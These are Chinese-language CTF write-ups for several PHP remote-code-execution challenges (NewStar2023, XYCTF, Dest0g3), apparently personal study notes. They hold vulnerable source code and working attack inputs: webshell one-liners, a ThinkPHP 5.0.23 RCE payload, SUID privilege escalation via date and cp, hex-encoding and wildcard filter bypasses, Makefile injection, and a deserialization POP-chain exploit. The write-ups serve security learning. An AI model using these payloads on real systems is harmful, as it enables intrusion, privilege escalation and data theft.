访问太多,容易报错,而且不知道为啥 {}没有盲出来
NewStar2023 So Baby RCE Again
源码:
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/bash|curl/i',$_GET["cmd"])){
echo "Hacker!";
}else{
shell_exec($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}
无回显,尝试 ls / | tee /var/www/html/a,写入,访问a发现有结果
尝试 cat /ffll444aaggg | tee /var/www/html/b
,但是访问b,没有结果,估计权限有问题,写个一句话拿shell看看
?cmd=echo "<%3fphp echo 'hello';@eval(\$_POST[cmd]);%3f>" > shell.php
写入成功,蚁剑连接,看看flag文件的权限
果然是权限不够,尝试suid提权,看看什么命令有suid root权限
date就有,直接date -f读取即可
NewStar2023 Final
一打开是thinkphp的首页,输入s=1,报错看版本信息
是5.0.23,使用对应的poc
get:/?s=captcha
post:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
但是没有回显命令的结果,估计是system被ban了,看一下phpinfo
post:_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=15
phpinfo()函数其实是可以传一个整数参数进去的,随便传个
果然被ban了,用exec写个一句话
_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo '<?php echo "hello";@eval($_POST[cmd]);?>' > shell.php
蚁剑链接,发现没有权限去读flag
尝试suid提权
find / -user root -perm -4000 -print 2>/dev/null
cp有suid权限,直接cp /flag_dd3f6380aa0d /dev/stdout
在上网找资料的同时,还发现了thinkphp rce漏洞的自动化利用工具,https://github.com/Lotus6/ThinkphpGUI
是java工具,进入release下载jar包就可运行
不过写一句话getshell这里失败,估计也是用system实现的
xyctf:ez?make
过滤了f,l,a,g,?*;用16进制绕过
echo "636174206d616b6566696c652e706870" | xxd -r -p|sh
把十六进制数据用xxd转为二进制,再用shell执行
源码:
<?php
function waf($cmd) {
if (preg_match('/\n|\r|f|l|a|g|\?|\*|\;|\/|source|SOURCE|\$|\@/',$cmd)){
return false;
}
return $cmd;
}
$cmd = waf($_GET['cmd']);
if ($cmd === false) {
echo json_encode(array('makefileContent' => 'failed', 'output' => 'no'));
} else {
$makefileContent = <<<EOD
SHELL := /bin/bash
.PHONY: FLAG
FLAG: /flag
\t$cmd
EOD;
if (file_put_contents('Makefile', $makefileContent) !== false) {
$command = "make -f Makefile 2>&1";
$output = shell_exec($command);
echo json_encode(array('makefileContent' => $makefileContent, 'output' => $output));
} else {
echo json_encode(array('makefileContent' => 'failed', 'output' => 'failed'));
}
}
?>
xyctf:ezmakefile
用makefile执行系统命令的语法,如: ${shell,ls}
源码:
<?php
// 定义一个函数用于简单的命令注入防御
function waf($cmd) {
// 使用正则表达式检查命令中是否包含一些特殊字符
if (preg_match('/\/|\n|\r|\;|\|/i', $cmd)) {
// 如果命令中包含了特殊字符,则返回 false,表示命令不安全
return false;
}
// 如果命令安全,则直接返回命令
return $cmd;
}
// 从 GET 请求中获取命令参数,并通过 waf() 函数进行检查
$cmd = waf($_GET['cmd']);
// 如果命令不安全,则返回错误信息
if ($cmd === false) {
echo json_encode(array('makefileContent' => 'failed', 'output' => 'nonono'));
} else {
// 如果命令安全,则构造 Makefile 内容
$makefileContent = <<<EOD
# Makefile 内容:
# 设置 shell 解释器为 /bin/bash
SHELL := /bin/bash
# 如果环境变量 PATH 未定义,则重新定义为空字符串
ifndef PATH
override PATH :=
else
override PATH :=
endif
# 声明伪目标 FLAG,用于确保 Makefile 中的命令总是被执行
.PHONY: FLAG
# 定义 FLAG 目标,依赖于 ./flag 文件和用户输入的命令
FLAG: ./flag \t$cmd
EOD;
// 将生成的 Makefile 内容写入 Makefile 文件中
if (file_put_contents('Makefile', $makefileContent) !== false) {
// 构造执行命令
$command = "make -f Makefile 2>&1";
// 使用 shell_exec() 函数执行命令,并捕获执行结果
$output = shell_exec($command);
// 返回生成的 Makefile 内容和执行结果
echo json_encode(array('makefileContent' => $makefileContent, 'output' => $output));
} else {
// 如果写入文件失败,则返回错误信息
echo json_encode(array('makefileContent' => 'failed', 'output' => 'failed'));
}
}
?>
xyctf 牢大
题目源码:
<?php
highlight_file(__FILE__);
function Kobe($cmd)
{
if (strlen($cmd) > 13) {
die("see you again~");
}
if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
die("肘死你");
}
foreach ($_GET as $val_name => $val_val) {
if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
return "what can i say";
}
}
return $cmd;
}
$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");
对cmd参数进行了过滤,用eval,但过滤了system,明显是无回显rce,而且长度有限制,只能用反引号执行命令
而且对长度有限制,只ban了fla,没有g、$,很明显可以用get参数逃逸对长度的限制
前面加了#,我们使用%0a,即换行绕过,因为#是单行注释,后面的manbaout可以用%23,即#注释掉,所以现在传的参数大概如下
?cmd=%0a`$_GET[b]`;%23&b=
看第二个过滤,其实已经提示了可以用cp或mv把flag带过来,但是路径表示不出来,后面看wp才发现,路径原来也能用通配符匹配
%0a`$_GET[b]`;%23&b=c''p /[e-g][k-m][0-b][e-h] /v[0-b]r/www/htm[j-m]
访问/flag即可得到flag
xyctf ezpop
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
class AAA
{
public $s;
public $a;
public function __toString()
{
echo "you get 2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}
class BBB
{
public $c;
public $d;
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);
}
}
class CCC
{
public $c;
public function __destruct()
{
echo "you get 2 C <br>";
echo $this->c;
}
}
if(isset($_GET['xy'])) {
$a = unserialize($_GET['xy']);
throw new Exception("noooooob!!!");
}
pop链很简单,异常也可以fast-destruct绕过,问题在于call_user_func如何让他套娃调用执行命令
call_user_func($a,$b)($c)($d);
已知$b
是POST数组,所以$a要是操作数组的方法
想要出现system(‘ls’)的情况,$d
设为ls即可,但是system怎么来呢?如果直接通过$a
方法从$_POST
中取出system,也是不行的,因为还有个$c
可以使用hex2bin
方法,想办法在POST数组取出hex2bin,然后$c
设为system的十六进制编码,执行完call_user_func($a,$b)($c)
结果即为system,就能执行$d的命令了
所以exp:
<?php
error_reporting(0);
class AAA
{
public $s;
public $a;
}
class BBB
{
public $c;
public $d;
}
class CCC
{
public $c;
}
$obj=new CCC();
$obj->c=new AAA();
$obj->c->s=new BBB();
$obj->c->s->c='73797374656d';
$obj->c->s->d='cat /flag';
echo (serialize($obj));
# 去掉结尾的一个},破坏序列化结构,
#O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:12:"73797374656d";s:1:"d";s:9:"cat /flag";}s:1:"a";N;}
?>
post传
a=current&b=hex2bin
post中a赋值给$a后,就会被删除,所以直接current就能取到第一个元素b的值hex2bin
Dest0g3 520迎新赛SimpleRCE
<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>
过滤了很多,尝试编码,拼接,\ .
都被ban了
尝试hex2bin可以执行命令
hex2bin('73797374656d')(hex2bin('6c73202f')); #system('ls /');
后面直接读取flag即可